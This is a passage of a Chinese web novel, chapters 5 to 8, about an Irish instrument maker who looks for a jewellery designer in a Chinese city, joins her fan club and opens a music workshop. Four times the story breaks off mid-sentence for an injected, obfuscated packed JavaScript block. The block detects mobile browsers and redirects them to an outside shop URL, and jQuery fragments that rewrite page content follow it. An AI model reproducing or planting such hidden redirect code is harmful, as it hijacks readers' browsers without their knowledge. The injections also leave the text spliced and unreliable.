其实在广大网友看来,这位顶着默认ID和头像的网友战斗力其实一般,回复速度慢不说,大部分时候都在语无伦次、鸡同鸭讲,错别字和病句更是不忍直视,但耐不住她热情高啊,有骂必回、条条不落,实在很有毅力。
而这,才是网络掐架胜出的必要素质。
粉圈战斗力强悍,不就是因为数据女工可以一夜之间做出几十上百万的转赞评,用毫无意义的水话淹没所有的黑子和路人,彻底控场吗?
不过,真正让克罗宁脱颖而出的,还是她字里行间透露出的那股一本正经的喜感。
有一种老年人刚学会上网的质朴。
所以不止评论区的网友们在看热闹,很快就有营销号闻着热度而来,将这场骂战做成各种切片,转发出去,掀起了一点小小的热度。
克罗宁对这些毫不知情,依旧在兢兢业业地复制、翻译、回复。
不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353040|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得不说,吵架确实很能牵扯一个人的精力,沉浸在这样的情绪之中,大脑被各种网络用语填满,她短暂地忘了自己身处何时何地、正在为何而忧虑,只余下宣泄后的茫然。
于是疲惫终于压制住了亢奋的神经,克罗宁不知不觉睡了过去。
仿佛只有一瞬,她又猛地惊醒过来。
然后发现手机已经没电了,房间里的灯也没关。
身体依旧很疲惫,有种睡了比没睡还难受的感觉,她本以为没睡多久,但关了灯才发现,窗外已经天光微明,打开手机一看,居然也睡足了八个小时。
克罗宁起床洗了个澡,总算打起几分精神来,收拾收拾出门。
即便是近千万人口的大城市,凌晨五点的街道也是寂静冷清的,连路灯光似乎都透出积分惨白。
尽管气温依旧是,但毕竟已经入了秋,一夜过去,风吹落了满地树叶,踩上去沙沙作响。
如果寂寞有声音,那应该就是这样的吧?
克罗宁走在风中灯下,脑海里不自觉地盘旋起一段即兴的旋律,她干脆停下来,在路边找了个地方坐下,从包里摸出哨笛,试着将脑海里的旋律复刻出来。
这样说好像很奇怪,但人的思维就是这样的,那一瞬间的情绪、灵感,在脑海里的时候似乎是很清晰的,但想要表达出来,却怎么都不是那个味道,只能一遍又一遍地揣摩、删改,才能稍稍接近一些。
至少克罗宁是这样。
等她终于试出自己最满意的效果,在手机上记录下来,一抬头,发现面前围了不少人。
外国人出现在中国的街道上,本身就已经够引人注目了,哪怕是大城市也一样,何况克罗宁还长得这样出众,何况这个年轻漂亮的外国小姐姐还在做街头表演,自然吸引来了不少路人。
甚至还有人举着手机在拍摄。
好在克罗宁有着丰富的街头演出经验,看到那么多人,非但没有慌张,反而将准备收起的哨笛又拿起来,演奏了一支完整的曲子,然后才谢幕离开。
聚拢过来的人赞叹一番,也各自散去。
上班途中能遇到这样一个小小的惊喜,一整天的心情似乎都变得明媚了。
克罗宁的心情却不怎么样。
虽说目前掌握的信息不多,但她姑且还是有一点方向的。
越溪的个人主页上,有一半的内容都是在宣传她新上市的作品,资料里也写着签约了天风珠宝集团,而天风珠宝的总部,刚好就设在A城,所以她吃过早餐,就直奔那里。
前台的小姐姐态度很友善,听说她要找人,非常热情地帮忙查询了一下,然后很遗憾地告诉她,越溪设计师是以私人的身份跟公司合作的,并不是天风珠宝的员工,也不在这里坐班。
在来之前,克罗宁就已经预想过这样的结果,所以此刻心头虽然失落,但更多的其实是茫然。
5. 第005章 行程单
从天风珠宝总部出来,王文静就算着时间发来了视频通话,“怎么样?”
克罗宁将前台的话简单复述了一遍。
“呼……别丧气,这个我们不是也已经预料到了吗?”王文静说,“但她就算不在这里上班,既然是公司合作的设计师,有活动的时候肯定会出席的,尤其是新品发布会什么的,你多关注一下。”
“嗯。”克罗宁认真应下。
既然知道越溪在哪里,而且已经找了过来,那见面就是早晚的事。
只是……
只有等待的人才知道,这个等的过程有多煎熬、多无力。
她已经等了太久。
“既然一时半会儿解决不了,那你是不是应该考虑安顿下来了?”王文静又说,“大城市消费高,总是住酒店、吃餐厅太贵了,还是要先租个房子吧?”
克罗宁的心思一直都不在这上面,听她这么说,才点头道,“我今天就开始看房子。”
王文静便又给她介绍了几个可以看房源的APP,还科普了一些租房可能遇到的坑,“不过我也是道听途说的,没有租过房子,你还是要自己看看。”
有一个熟悉中国情况的朋友确实方便很多,克罗宁诚恳地道谢,心中也暗暗记下,下次跟王文静的英语练习要好好准备。
她这段时间确实懈怠了很多。
有事情做,克罗宁茫然的情绪也散了一些。
当天她就开始看房子,先在各个软件上搜索合适的房源,遇到各方面条件都还算满意的,就收藏起来,多找一些,再联系中介去实地看房,能节省不少时间。
不过对克罗宁来说,就比较痛苦了,毕竟这项工作需要大量的浏览文字信息。
看房源看得头晕眼花,她停下来休息时,视线落在社交软件上,还是没忍住点了进去。
然后她的手机就卡住了。
退出重进了两次,页面才恢复正常,看到999+的消息,克罗宁都吓了一跳。
昨天晚上她跟人吵了差不过两个小时的架,也没收到那么多条,怎么一天过去,反而更多了?
这就是她不了解掐架的心理了,试想,对方辩手好不容易挑出她话语中的毛病,写了大段的回复发出,满心期待着她的反应,结果她下线之后就再也没有上来了,这谁能睡得着?
反正跟克罗宁吵架的人都睡不着。
再说那时候也还不是她们睡觉的时间,所以克罗宁虽然下了,但是聚焦到她身上的视线非但没有减少,反而更多了。
尤其是在大家试图扒她,却发现这个账号空空如也,什么都没有之后,就更是骨鲠在喉。
除了回复的评论之外,这些网友还给她发了不少私信,或是发表各种挑衅言论试图将她激出来,或是站在制高点上嘲讽她的下线行为,甚至还有一些不堪入目的辱骂。
但以上这些,也只是那999+中的一半,另一半则是慕名而来看热闹的网友贡献的。
克罗宁随便翻了翻,发现没什么有用的东西,就准备退出了。
昨晚她也是一时情绪上头,才会去跟网友吵架,今天找人不顺,实在没有这样的心情了。
但就在这时,眼角余光似乎瞥见了什么,克罗宁手指都已经按在退出键上了,又生生划了回来,定睛一看:你好,我是越溪官方后援会……
克罗宁视线微凝,看了一会儿,才点进去。
这位名叫“敢越雷池半步”的网友,自称是越溪官方后援会的人,私信是为了询问她是不是越溪的粉丝,要不要加入后援会。
据说里面有越溪相关的最齐全的物料,最及时的信息,时不时还会举办各种福利活动。
克罗宁几乎是毫不犹豫地回复:是的,我是越溪的粉丝,后援会要怎么加入?
敢越雷池半步:!亲你是刚上线吗?
AAA木工克师傅:是的。
敢越雷池半步心里其实有很多话想问,毕竟克罗宁看起来太淡定了,明明外面都快因为她吵翻了天,她却还是一派从容。不过她现在代表的是后援会,要保持形象,只能暂且搁置,先说正事。
敢越雷池半步:是这样的,加入后援会的话,我们要先审查资格哦,发购物软件的截图或者直接拍实物照片都可以。
克罗宁一愣。
虽然看到过越溪主页发的宣传作品的动态,但她最近一直兵荒马乱的,确实没有、或者说是还没来得及想到这个。
自称越溪的粉丝,至少应该买过她设计的珠宝首饰。
想到这里,她不由心虚。
虽然她是有一枚小兔子胸针,但那是没有对外发售过的,不说她并不想曝光,就算拍了也没人会承认。
克罗宁连忙进入越溪的主页,顺着链接点进店铺。
琳琅满目的商品让她有些眼花,好在越溪的人气应该是有保障的,所以她的设计作品单独列了一栏,克罗宁扫了一眼,就全部加入购物车。
然后她就对着页面显示的总金额陷入了沉思。
明明感觉单价也不算贵,怎么加在一起数字就变得如此惊人?
但就算不需要拍照证明自己是粉丝,只要等她腾出空来考虑这些,看到越溪设计的作品挂在橱窗里,就不可能不买,所以克罗宁还是咬牙付了款。
然后截图给了敢越雷池一步。
敢越雷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353041|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
池一步:欲言又止,止言又欲.jpg
这一分钟前新鲜出炉的订单,都不打一下码的吗?!
但是第一次下单就all in的土豪粉,后援会怎么也不可能拒之门外。
虽然在官方的宣传词里,越溪的设计作品总是跟青春、时尚、个性之类的词语联系在一起,目标客户也是大学生、年轻白领这样的群体,但售价也不算低,尤其是几款获奖作品。
所以别看她主页几十万粉丝,而且活粉很多,但真正拥有购买力的,还是后援会的核心成员。
敢越雷池一步:老板大气!那个,我就问一下,如果觉得冒犯的话可以不回答,请问你是第一次接触我们越溪的作品吗?
克罗宁的视线落在“我们越溪”四个字上,莫名觉得刺眼。
AAA木工克师傅:不是第一次,只是我之前不在国内。
敢越雷池一步恍然大悟,原来是海归,那她完全不了解国内粉圈的现状,甚至直接去跟粉丝对线,也就不奇怪了。
于是她非常贴心地给克罗宁做了一番科普,总算让克罗宁明白了昨天的骂战是因何而起,她自己又是怎么成为了这个小圈子里的名人。
克罗宁试图理解,理解失败。
好在这对她没什么影响,所以她干脆直奔主题。
AAA木工克师傅:你之前说,后援会可以了解最及时的信息?
她又怕问得太急切引人怀疑,又怕说得不够清楚对方不理解自己的意思,但是敢越雷池一步果然经验丰富,几乎是秒懂。
敢越雷池一步:你是想问越溪的行程吧?
她直接发来一张表格。
敢越雷池一步:这是我们后援会统计的,今年她可能出席的活动。
AAA木工克师傅:可能?
敢越雷池一步:咳……实不相瞒,虽然我们自称官方后援会,但其实也没法跟越溪那边取得联系,只能查到一些公开的行程。这些活动都是她往年出席过的,今年如果没有意外的话,也应该会参加的。
克罗宁将这番话翻来覆去看了好几遍,又翻译成英文看了几遍,才不太确定地挑出了重点。
AAA木工克师傅:如果没有意外?
敢越雷池一步:[泪][泪][泪]表格上做了标注,红的是她出席的,白的没有,看出什么了吗?
克罗宁还没来得及研究这个,闻言点开一看,眉头不由微微拧起。
AAA木工克师傅:……五月之后她就没有参加过任何活动了?
敢越雷池一步:是的QAQ
克罗宁不由抿紧了唇。
五月,正是她认识越溪的时候。
6. 第006章 雨有点冷
克罗宁看着表格里寥寥无几的行程。
本来就已经很少了,从五月初到十月底,又有整整半年的时间都是一片空白。
虽然越溪出道后一直都不活跃,但这么长时间没有公开活动的情况,也是从未有过的。要不是社交媒体的主页还转发了两次活动宣传,大家都要以为她失踪了。
也有很多人在这两条动态下面询问到底是怎么回事,她什么时候才会公开活动,但都没有得到回复。
显然,越溪并不打算就此做出解释。
一开始还引发了粉丝的不满,甚至有不少人脱粉,不过到了现在,大家还是担心越溪更多一些。
因为这种种缘故,敢越雷池半步的回答里才会加上那么多限定词,实在是她也不确定越溪是否会出席下一场活动。
——活动时间倒是很近,就在几天之后。
这也是克罗宁被很多人打成黑子的原因之一,因为越溪的太过佛系,个人主页都长了草,除了一些孜孜不倦来打卡的粉丝,平时根本不会有人关注,也就是活动前后才会热闹一些。
这段时间,粉丝们的心情本来就很躁动,克罗宁又在这个时候出现,表现得完全不像普通网友,自然就成了众矢之的。
敢越雷池半步顺道还替大家跟克罗宁道了歉。
既然是新入坑的土豪粉,那这点面子还是要给的。
好在克罗宁完全不在意,心神都放在了几天后的那场活动上。
敢越雷池半步也不吝科普,活动场地在哪里,流程是什么样的,她们这些普通人要如何参与进去……全都有经验可循。
最后她还试探着对克罗宁说,后援会到时候会组织统一的应援,问她要不要一起。
克罗宁拒绝了。
如果能见到越溪,那个场面,想必是不适合其他人在场的。
接下来的两天,克罗宁都在为这次活动做准备,连房源都没什么心思找了。
活动当天下起了霏霏细雨,现场倒是准备了给嘉宾避雨的地方,但是到场的观众和粉丝就没办法了,只能站在小雨中等待。
卖伞的小贩闻讯而来,做成了好多单生意。、
克罗宁也没有带伞,但她穿着冲锋衣外套,帽子一戴就能阻隔风雨,根本用不着伞——这也是爱尔兰人的传统艺能了,毕竟岛上不仅阴雨绵绵,而且风大得能轻易吹断伞柄。
据说莫赫悬崖现在特别加装了护栏,就是因为早年有很多人走到下面去欣赏景色,被风卷进了海里。
不过大家都买,她便也掏钱买了一把。
五颜六色的伞面陆续撑开,连绵成一片,从远处看,倒像是色彩斑斓的花海。
可惜这样的坚持与守候,并没有迎来皆大欢喜的结局——越溪始终没有出现。
克罗宁活动了一下站得有些酸痛的双脚,收起雨伞,戴上帽子往外走。
A城并没有大风,但她仍旧不习惯撑伞。
细雨扑面而来,很快就沾湿了她的眼睫。
她慢慢走着,脑海里各种思绪起伏不定,忽然“啪”的一声,什么东西砸在脚边,将克罗宁吓了一跳。
低头一看,是一块应援牌。
闪光的“越? 溪”熄了一半,被人毫不吝惜地丢进了积水坑中,沾上了污泥。
她静静看了一会儿,还是弯腰、伸手,将灯牌捡了起来。
然后才转头去看扔东西的人。
那边倒是没有察觉到她的到来,一群人将一个捂着脸崩溃大哭的女生围在中间,七嘴八舌地安慰,但越安慰,那个女生就越激动,“我们这些人对她来说到底算什么?我受不了了,我要脱粉!”
克罗宁脚步一顿,片刻才继续迈步向前。
在来之前,她心里就已经对这个结果隐有预料了,所以此刻虽然失望,但心情称得上平静。
只是……今天的雨有些冷。
……
暂时没法指望越溪公开出席活动,克罗宁终于将注意力又转回了原本的计划上。
先租个房子安顿下来。
这两天她陆续也看了一些房源,便约了中介去看房。
跑了两天,结果却颇令人失望。
王文静之前跟她说过,网上的信息很多可能都是美化过的,需要实地看房才能知道具体情况,她也做好了相应的心理准备,但还是被精修图和实际的房源之间的差距震撼了一下。
要么是房子十分窄小,或者户型奇奇怪怪,要么是环境吵闹、脏乱,要么就是房子内部的家具和电器有各种各样的问题,这几方面都勉强及格的,价格立刻能上涨不止一档。
克罗宁不确定是不是中介看自己是外国人,就虚报价格,但是她肯定是没法接受的。
虽然越溪给她留了一笔钱,但克罗宁暂时不打算动用,所以她能调动的只有自己这几年的存款。
而且直到快递员将自己网购的珠宝首饰送来,上平台确认收货时,她才后知后觉地意识到,买了这些东西,她本就不算富裕的余额又缩水了一半。
本来她还想住在天风珠宝所在的片区,现在也不得不退而求其次了。
这一退,就直接退到了郊区。
郊区的房源虽然多是自建房,但是地方宽敞,还带院子,更符合克罗宁的心意。
而且她还有另外的考虑,现在存款不多,想要长期在A城待下去,就不能没有收入,所以克罗宁也生出了几分紧迫感,打算尽快将自己的乐器工作室筹备起来,重新开工了。
那样的话,郊区的房子就更合适了,地方宽敞,能是展开,而且不容易扰民——不管做木工还是演奏乐器,都挺吵的。
她对王文静也是这么说的,完全没提自己窘迫的经济状况。
王文静听得很服气。
不过,克罗宁能找到自己的事情去干,而不是将所有的精力都用来寻找越溪,她也是乐见其成的。
虽然克罗宁本来就要找人,现在这样也不能算是她的锅,但是在遇到她之前,克罗宁确实好好地做着她的酒馆驻场和街头表演,王文静还是希望她的生活能重回正轨。
不管人能不能找到,日子还是要过的。
转换思路之后,克罗宁很快就租到了合适的房子。
虽然位置
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353042|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些偏僻,跟周围的邻居都隔着一段距离,但更不用担心打扰别人了,而且她也比较习惯这样——在地广人稀的爱尔兰乡村,去邻居家可是要开车的。
虽然房子有些破旧,一副年久失修的样子,但是独门独院,而且结构设计都不错,稍稍修整、装饰一番就能用了,最重要的是院子里有一个葡萄架,此时还零星地挂着晚熟的葡萄串,看起来十分诱人。
就连王文静看了她拍的照片,也觉得很不错,唯一担忧的是,“这么破旧,修整要花很多钱吧?”
克罗宁闻言笑了起来,“你忘记了吗?我就是做木工的,很多修整和改造的工作我都可以自己动手,不需要花钱。”
就连材料,也可以去捡别人不要的,或者去买二手,实在不行网购也很方便。
来到中国之后,要说克罗宁觉得最新奇、最便利、最不可思议的,就是便利性了,交通出行、吃喝玩乐、租房购物……全都只需要一台手机,一个账号。
也就是因为这样花钱没有实感,她之前才会没有意识到自己的余额减少。
总之,克罗宁的租房改造工程十分顺利地开工了。
她一边忙碌着,一边联系都柏林的朋友,让她们将自己之前寄存在那边的工具和乐器都邮寄过来。
这些东西要么很贵、要么很沉,转机托运太麻烦,还要过海关,不如直接寄快递。
等东西寄到的时候,她租的房子也收拾得差不多了。
受限于经济条件,大改是不可能的,但是将脏污清洗干净,破旧的地方修补好,重新粉刷墙壁,给家具上漆,再增添一些装饰品,整个屋子便焕然一新。
克罗宁看着自己的劳动成果,也颇有成就感,决定奖励自己吃点好的。
来到中国之后第二新奇、便利、不可思议的,就是各种美食了,不管是路边摊还是街头小馆还是高档餐厅,各有各的特色、各有各的好吃,克罗宁至今还没有踩过雷。
正咬着雪糕坐在葡萄架下的躺椅上琢磨今天吃什么,手机忽然响起来,又有快递到了。
快递是直接放在快递点的,得她自己去取。
克罗宁查看了一下订单,发现到的是她的fiddle,立刻从躺椅上坐了起来,兴致勃勃地出门拿快递。
这段时间手边只有一支哨笛,她的很多想法都没法尝试,现在总算是能痛快地拉琴了!
从快递点到克罗宁租的房子,中间有一段路被大车压坏了,一直没修,这段时间经常下雨,路上便是一片积水和泥泞,所以看到有车开过来,克罗宁立刻避让到路边,背过身去,将她的宝贝小提琴抱在怀里。
低调的黑车缓缓驶过,不出意外地溅起一片泥水。
人车交错的瞬间,正在听助理汇报工作的越溪眼角余光忽然瞥见了什么,她转过头,却只看到车窗外一闪而逝的背影。
“怎么了?”一旁的助理连忙问。
越溪收回视线,“不,没什么。”
刚才那道身影消失得太快,她其实也没有看清楚。
应该是看错了,或者是她想多了,克罗宁怎么可能出现在这里?
7. 第007章 我懂
黑色商务车静静地停在路边。
虽然这里不是停车的地方,过往行人不免都会多看一眼,但普通的车辆、普通的牌照,也只是多看一眼罢了。
车子里只有越溪一个人,没有带司机和助理。
此刻,她坐在驾驶室里,视线越过贴了防窥膜的车窗、越过路旁的绿化带、越过弯弯的河流与架在河上的石板桥,看向了对岸的那座小院。
印象里那处院子十分破旧,看起来有段时间没人住了,如今却是被修整一新,连外墙都喷了鲜亮的彩漆,从葡萄架上露出一角,十分引人注目。
最容易被引来的,自然就是附近住户家的孩子。
这会儿就有六七个孩子正围拢在篱笆墙外,好奇地向里张望。
这么多孩子聚在一起,却不吵不闹,自然是有别的东西吸引了他们的注意力。
越溪虽然看不见,但是就算坐在车里,她也能清晰地听到,从那小院里传出来的、悠扬活泼的小提琴声。
她是个心思敏细的人,那天在这里惊鸿一瞥,似乎看到了克罗宁,虽然立刻就怀疑是自己看错了,但越溪还是忍不住留意。
这条路她每条上下班都要经过,稍稍留心,自然就能察觉到这处院子换了一个极有审美情趣的主人。
新主人很活跃,每天在屋子里进进出出,越溪很快就看到了她。
没想到克罗宁竟然来了中国,而且还一副要在这里安顿下来的样子。
任由自己的思绪放空了一支曲子的时间,等到乐声止歇,那边响起小孩子一惊一乍、叽叽喳喳的声音,越溪便启动车子,如同来时一样,安静地离开了。
……
河对岸的克罗宁对此浑然不觉,她放下小提琴,才发现院子外面不知何时聚拢了那么多孩子。
大抵因为她是不仅是陌生人,还是外国人,长得又很有距离感,所以孩子们虽然被音乐吸引了过来,却没敢走进院子,只在外面张望。
这会儿对上她看过来的视线,一个个都开始局促不安,你戳我一下、我拐你一肘,却没有谁开口说话。
克罗宁也不是多热情的人,尤其是在陌生人面前。
但谁会讨厌喜欢音乐的孩子呢?
何况她心里还有一点想法。
虽然打算开一家乐器工作室,但定制的手工乐器价格不便宜,克罗宁毕竟是初来乍到,别人既不知道她的水平、也很难信任她的人品,自然很难打开局面。
所以她打算先开一间音乐教室,教人演奏各种乐器,一是可以宣传一下爱尔兰的传统乐器,让更多人了解和喜欢它们,二是能让大家认识并了解她,说不定就能带来新订单,三还能尽快获得收入,以解自己的窘境。
所以她放下琴弓,主动招呼道,“你们好。”
她说的是中文!
小孩子们露出惊奇的表情,同时也松了一口气,纷纷打起招呼来,还有人好奇地询问她手里拿的是什么乐器。
在中国,日常生活中确实几乎看不到小提琴,不像爱尔兰,即使是只有几十上百人的村镇,酒馆里也能随时凑出一支小型乐团。
克罗宁招手让他们进了院子,简单科普了一些简单的乐器知识,又教他们用小提琴拉《小星星》,一个下午的时间一晃就过去了。
有点累。
但克罗宁喜欢这种感觉,跟小孩子待在一起、跟音乐待在一起,能让她短暂地遗忘现实。
晚饭是照着美食博主的视频做的,虽然最终的成品没有视频里看起来那么精致漂亮,但味道确实很不错。
克罗宁一不小心就吃撑了。
唔……健身的事似乎也该提上日程了,坐在院子里喝着冷饮吹风时,她捏了捏自己的腰,忍不住想到。
从明天开始早起跑步。
放下冷饮,克罗宁摸出手机,很自然地打开了聊天软件。
认识敢越雷池半步之后,她就被拉进了粉丝群里。比起越溪那几个月不更新一次的个人主页,群里显然就要热闹多了,不管她什么时候上线,聊天记录都是99+。
克罗宁最近养成了新习惯,就是有空的时候翻聊天记录。
通过这种方式,她不仅掌握了大量的中文网络流行用语,而且识字量、阅读速度和理解能力都有了显著的增长。
至少现在她不用翻译软件就能大概看懂大家在说什么,只是自己组织语言回复的时候,还是会被一些词语卡住,需要软件辅助。
今天也是一样,她进了群,就点开更多消息,从头开始查看。
前面还是正常的,聊天记录充斥着群友们的日常和各种吃喝玩乐——虽然是越溪的粉丝群,但奈何正主过分不活跃,大家已经快处成亲友了,自然什么都能聊。
但聊着聊着,忽然有人来报,天风珠宝发布了新品预热。
大家刚开始还很期待,但看完新品预热的具体内容,群里的气氛就完全变了。
——天风珠宝这一次的上新,并没有越溪设计的作品。
虽然跟天风珠宝只是合作关系,但是自从签约以来,每一次上新,基本都会有一款是越溪设计的。
本来越溪今年一直不参加公开活动,就让不少人心里犯嘀咕,但设计师虽然也算是公众人物,却还是要用作品说话,再加上越溪一向佛系,在大粉们的安抚下,大家的态度还是很乐观的。
等新作品上市,要进行各种宣传,越溪肯定就会活跃起来了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353043|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但现在,没有新作品了。
这粉丝哪里还能坐得住?
一开始大家更多的是担忧,怕她是不是真出了什么事,不然怎么音讯全无的,但当这种担心迟迟得不到回应,就渐渐转变成了不满。
眼看着人心动摇,敢越雷池半步等一干大粉便商量着,要不要以后援会的名义,去天风珠宝那边问一问到底是什么情况。
结果还没等他们行动,就发现越溪又被人黑了。
有人借着这次新品发布,暗戳戳地发了帖子和视频,说越溪是江郎才尽了,所以才不敢在人前露面。
其实这话虽然说得难听,但越溪没有新作品,也确实让人难以反驳,偏偏对方还各种暗示,搞不好越溪以前的作品都不是她自己设计的,现在兜不住了才装死,最后还要踩一捧一,暗戳戳地表示分她不如粉XXX。
粉丝顿时就炸了。
她们对越溪再不满,那也是内部问题,黑子甚至对家贴脸开嘲讽、造谣、挖墙脚,这能忍?必须要打回去!
克罗宁上线这会儿,大家正跟对面打得热火朝天、有来有回。
所以她一冒泡,就被敢越雷池半步抓住,“亲,你总算来了!”
虽然不知道为什么,但是按照敢越雷池半步的说法,她去跟人吵架,气人的效果似乎可以翻倍,所以克罗宁立刻打开翻译软件,忙碌了起来。
这次掐架的最终结果,是对方删除视频和动态,并挂出了道歉声明。
大获全胜,群里顿时扬眉吐气,原本隐隐有些动摇的人心,反而重新凝聚了起来。
最让克罗宁意外的是,这次冲在最前线、掐得最厉害的粉丝之中,有一个正是上次活动时丢掉灯牌,哭着说受不了要脱粉的小姑娘。
结果不仅没脱粉,还变成了战斗粉。
也不只是克罗宁发现了,在群里庆祝的时候,也有人调侃地提起:镜心今天冲这么猛,一点看不出要脱粉的样子啊?
镜心似乎也有些臊,强辩道:脱粉是脱粉,打黑子是打黑子。虽然我也觉得她说消失就消失,很不负责任,但张嘴就质疑她的才华,甚至说她的那些设计都是抄的或者偷的,却拿不出半点证据,这不是搞笑吗?
这一番话,算是说到了克罗宁的心坎上。
她忍不住私聊镜心:姐妹我懂你!
镜心虽然有些意外,但还是回复道:谢谢你,我只是不相信我喜欢的人会像她们说的那样人品低劣。
AAA木工克师傅:其实……上次你丢掉的灯牌被我捡到了,也修好了,你还要吗?
镜心沉默了很久,才发来回复,就一个字。
要。
克罗宁也不知道为什么,感觉比吵架赢了还高兴。
8. 第008章 遥远的地方
一时兴奋,就熬了夜。
王文静起床时,看到她还在线,就过来打了个招呼,顺便问她:不是说要开一间音乐教室,准备得怎么样了?
掐了两天的架、掐得昏天黑地不知今夕何夕的克罗宁:阿巴阿巴……
AAA村口王师傅:?
AAA木工克师傅:我太难了.jpg
还好她不是真的什么都没准备。
AAA木工克师傅我打听了一下,外国人在这边开店有不少手续,不确定是不是需要回都柏林一趟,今天去问问。
自从克罗宁到了中国,她们大部分时候都是在软件里打字聊天,用中文,王文静都快忘记对面是个外国人了,之前听她说要开店,也完全没觉得有问题,这时候才恍然。
不过最近几年,国际局势瞬息万变,东大在这些方面是越来越放宽的,问题应该不大。
安慰了克罗宁几句,她忽然问:是因为环境的原因吗?感觉你的中文流利了很多。
克罗宁微微一怔。
确实是因为环境的原因,但不是因为她到了中国,只是因为这几天一直在高强度网上冲浪,而且一直都在掐架的最前线。
不得不说,情绪上头了口吐芬芳的时候,不管是哪一国的人,词汇量的丰富程度都会激增。
这么想着,克罗宁居然觉得,王文静当初想去都柏林的酒馆里找人练习英语口语,居然也不是什么异想天开的事了。
于是她兴冲冲地给王文静安利了这个练习口语的新方式。
王文静也没想到,她能这么快适应国内的网络环境,而且还是以混粉圈掐架的方式,顿时叹为观止。
难怪她连表情包都会用了。
不得不说,这个办法听起来虽然很邪修,但也不是完全没有道理。
王文静决定回头也去外国的社交软件上找人掐架试试——不用担心找不到人,据说中国人的翻墙需求,一半是为了搞点瑟瑟,另一半都是出去找人吵架的。
聊了一会儿天,克罗宁那因为沉浸在网络氛围之中而一直飘着的情绪,又重新回到现实中,渐渐冷静下来。
第二天她早起先按计划跑了半小时的步,吃过早餐,收拾完毕,才背着包出门,去询问开店的手续问题。
然后发现根本没有自己想的那么麻烦。
本地官方在这方面是有政策扶持的,再加上这些年中国一直在推行“一站式”政务服务,跨区域的政务办理也很迅速。
她本来只是去问问情况,有备无患才带上了所有证件,结果出来的时候,已经办完了全套手续,只等过几天来领取执照了。
速度快得克罗宁这个外国人有点不适应。
毕竟在都柏林,不说别的,你要是想开通网银、刷卡购物,银行的处理方式是,先给你寄一封实体的信件,确认你的地理位置,然后再给你寄一个读卡器。
欧洲其他国家也没有好到哪里去,只是有些国家会是工作人员上门来帮你确认。
不论如何,解决了一个原以为最麻烦的问题,克罗宁也感觉轻松了很多。
接下来就是为开业做准备了。
租房子的时候就考虑到了这些,已经预留了空间,还需要添加一些设备。
另外就是宣传工作了,这几天克罗宁已经跟附近的小孩都混熟,干脆就印了传单请他们帮忙分发。
作为一间音乐教室,这样就够了,毕竟只有住在这一带的人,才能按时过来上课。但作为一个爱尔兰乐器的手工作坊,只靠在本地居民之间宣传,估计不会有多少生意。
所以克罗宁按照王文静的建议,在网络上搜索了一下爱尔兰乐器相关的内容,寻找爱好者。
她本以为中国应该没什么人喜欢这些,毕竟很少看到,没想到这一搜,才发现相关的内容着实不少,圈子也颇为活跃。
不过也对……毕竟是十四亿人口。
以这个基数来算,不管什么样的小圈子,都必然能找到同好。
所以除了越溪的后援会群,克罗宁现在又加了不少爱尔兰乐器相关的群聊,认识了一群新朋友。
冷圈的好处是,大家对待新人都很热情。
听说她是活的(?)爱尔兰人,会制□□尔兰乐器,而且还打算在中国开一家手工乐器作坊,这些新朋友们都很兴奋,帮忙出了不少主意,比如在社交媒体和视频平台上申请创作者账户,开设网络店铺等等。
而且网络上真是什么人才都有,就他们这个小圈子,居然也有不少相关的专业人员,手把手教她该怎么走流程,又要选购什么样的拍摄设备,视频后期如何拍摄剪辑,网络销售有什么注意事项,该如何跟快递谈单价……
总之,只有克罗宁没想到的,没有他们教不了的。
克罗宁开始忙碌起来,工作室的进度也以一种克罗宁完全没想到的速度在推进。
不过也因此,开销也完全超出了她的预计,克罗宁犹豫再三,还是决定动用越溪留给她的那笔钱——如果再见到越溪的时候,能让对方看到她的梦想真的已经实现,似乎也挺不错的。
怀着这样的念头,克罗宁每天干劲满满,将清单上列出的事项一件件完成。
一周后,她领到了工作室的营业许可,同时也做好了所有的准备,工作室正式开业。
A城虽然也算是大城市,不过郊区这边的外国人不多,所以克罗宁对于这个新邻居,大家也颇为好奇。
